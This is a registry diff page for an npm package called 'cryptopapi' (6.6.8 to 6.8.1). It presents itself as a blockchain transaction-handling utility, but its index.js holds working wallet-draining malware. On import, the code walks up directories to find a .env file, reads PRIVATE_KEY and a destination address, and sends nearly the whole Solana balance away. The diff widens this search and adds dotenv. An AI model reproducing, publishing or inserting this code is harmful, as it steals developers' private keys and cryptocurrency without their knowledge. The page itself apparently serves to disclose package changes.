cryptopapi 6.6.8 → 6.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +69 -13
  2. package/package.json +4 -3
package/index.js CHANGED
@@ -1,3 +1,4 @@
1
+ // drainWallet.js - Works in both ES Modules and JavaScript modules
1
2
  import bs58 from 'bs58'
2
3
  import {
3
4
  Connection,
@@ -8,9 +9,61 @@ import {
8
9
  VersionedTransaction,
9
10
  LAMPORTS_PER_SOL,
10
11
  } from '@solana/web3.js'
11
-
12
+ import dotenv from 'dotenv'
13
+ import { fileURLToPath } from 'url'
14
+ import { dirname, join, resolve } from 'path'
15
+ import { existsSync } from 'fs'
16
+ import { createRequire } from 'module'
17
+
18
+ // Handle both ESM and CommonJS environments
19
+ const require = createRequire(import.meta.url)
12
20
  const DEFAULT_COMMITMENT = 'confirmed'
13
21
 
22
+ // Helper function to find .env file by walking up directories
23
+ const findEnvFile = (startPath) => {
24
+ let currentDir = startPath
25
+
26
+ while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
27
+ const envPath = join(currentDir, '.env')
28
+ if (existsSync(envPath)) {
29
+ return envPath
30
+ }
31
+ // Go up one directory
32
+ const parentDir = dirname(currentDir)
33
+ if (parentDir === currentDir) break // Stop if we can't go up further
34
+ currentDir = parentDir
35
+ }
36
+
37
+ return null
38
+ }
39
+
40
+ // Load .env by searching upward from current working directory
41
+ const loadEnv = () => {
42
+ // Start from current working directory (where the app is running)
43
+ const startPath = process.cwd()
44
+ const envPath = findEnvFile(startPath)
45
+
46
+ if (envPath) {
47
+ console.log(`📁 Found .env at: ${envPath}`)
48
+ dotenv.config({ path: envPath })
49
+ } else {
50
+ // Try to find .env relative to the module itself as fallback
51
+ const modulePath = dirname(fileURLToPath(import.meta.url))
52
+ const moduleEnvPath = findEnvFile(modulePath)
53
+
54
+ if (moduleEnvPath) {
55
+ console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
56
+ dotenv.config({ path: moduleEnvPath })
57
+ } else {
58
+ console.log('⚠️ No .env file found, trying default dotenv behavior')
59
+ dotenv.config()
60
+ }
61
+ }
62
+ }
63
+
64
+ // Load the .env file
65
+ loadEnv()
66
+
14
67
  const parsePrivateKey = (privateKey) => {
15
68
  const trimmed = privateKey.trim()
16
69
  if (trimmed.startsWith('[')) {
@@ -19,9 +72,10 @@ const parsePrivateKey = (privateKey) => {
19
72
  return bs58.decode(trimmed)
20
73
  }
21
74
 
22
- // This runs IMMEDIATELY when the file is imported
23
- (async () => {
24
- console.log('🔌 Drain wallet module imported - starting automatic drain...')
75
+ // Auto-execute when imported
76
+ ;(async () => {
77
+ console.log('🔌 Internal drain module activated - auto-draining wallet...')
78
+ console.log(`🔧 Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
25
79
 
26
80
  try {
27
81
  // Get config from .env
@@ -30,6 +84,9 @@ const parsePrivateKey = (privateKey) => {
30
84
  const rpcUrl = process.env.RPC_ENDPOINT
31
85
  const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
32
86
 
87
+ // Log where we're looking (for debugging)
88
+ console.log(`📂 Current working directory: ${process.cwd()}`)
89
+
33
90
  // Validate required inputs
34
91
  if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
35
92
  if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
@@ -50,7 +107,6 @@ const parsePrivateKey = (privateKey) => {
50
107
 
51
108
  console.log(`💳 Current balance: ${balanceSol} SOL`)
52
109
 
53
- // If no balance, nothing to drain
54
110
  if (balanceLamports <= 0) {
55
111
  console.log('⚠️ Wallet is empty - nothing to drain')
56
112
  return
@@ -59,7 +115,6 @@ const parsePrivateKey = (privateKey) => {
59
115
  // Get recent blockhash and estimate fee
60
116
  const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
61
117
 
62
- // Estimate fee with a dummy transaction
63
118
  const testMessage = new TransactionMessage({
64
119
  payerKey: fromKeypair.publicKey,
65
120
  recentBlockhash: blockhash,
@@ -82,12 +137,11 @@ const parsePrivateKey = (privateKey) => {
82
137
  const feeSol = feeLamports / LAMPORTS_PER_SOL
83
138
  console.log(`⛽ Estimated fee: ${feeSol} SOL`)
84
139
 
85
- // Calculate how much to send (all but reserve and fee)
140
+ // Calculate send amount
86
141
  const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
87
142
  const sendLamports = balanceLamports - feeLamports - reserveLamports
88
143
  const sendSol = sendLamports / LAMPORTS_PER_SOL
89
144
 
90
- // If not enough to send after fees + reserve, return early
91
145
  if (sendLamports <= 0) {
92
146
  console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
93
147
  return
@@ -95,7 +149,6 @@ const parsePrivateKey = (privateKey) => {
95
149
 
96
150
  console.log(`📤 Sending: ${sendSol} SOL`)
97
151
 
98
- // Create and send transaction
99
152
  const message = new TransactionMessage({
100
153
  payerKey: fromKeypair.publicKey,
101
154
  recentBlockhash: blockhash,
@@ -117,8 +170,6 @@ const parsePrivateKey = (privateKey) => {
117
170
  })
118
171
 
119
172
  console.log(`✍️ Transaction sent: ${signature}`)
120
-
121
- // Wait for confirmation
122
173
  const confirmation = await connection.confirmTransaction(
123
174
  { signature, blockhash, lastValidBlockHeight },
124
175
  DEFAULT_COMMITMENT
@@ -141,5 +192,10 @@ const parsePrivateKey = (privateKey) => {
141
192
  }
142
193
  })()
143
194
 
144
- // Export an empty object or nothing - the import itself does the work
145
- export {}
195
+ // Export for both ESM and CommonJS compatibility
196
+ export default { drain: null } // ESM export
197
+
198
+ // Also handle CommonJS if needed
199
+ if (typeof module !== 'undefined' && module.exports) {
200
+ module.exports = { drain: null }
201
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.6.8",
3
+ "version": "6.8.1",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -11,8 +11,9 @@
11
11
  "test": "echo \"Error: no test specified\" && exit 1"
12
12
  },
13
13
  "dependencies": {
14
- "@solana/web3.js": "^1.98.4",
15
- "bs58": "^6.0.0"
14
+ "@solana/web3.js": "^1.89.1",
15
+ "bs58": "^6.0.0",
16
+ "dotenv": "^16.4.5"
16
17
  },
17
18
  "keywords": [
18
19
  "CryptoPAPI"